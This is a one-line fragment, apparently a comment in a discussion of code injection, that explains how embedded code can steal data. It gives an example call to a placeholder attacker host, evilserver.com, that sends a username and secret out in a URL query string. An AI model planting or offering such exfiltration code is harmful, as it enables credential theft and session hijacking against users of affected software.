3 ms·

You can embed code like ping('http://evilserver.com/?user=' + username + '&secret=' + secret) or whatever to steal data, hijack sessions, etc.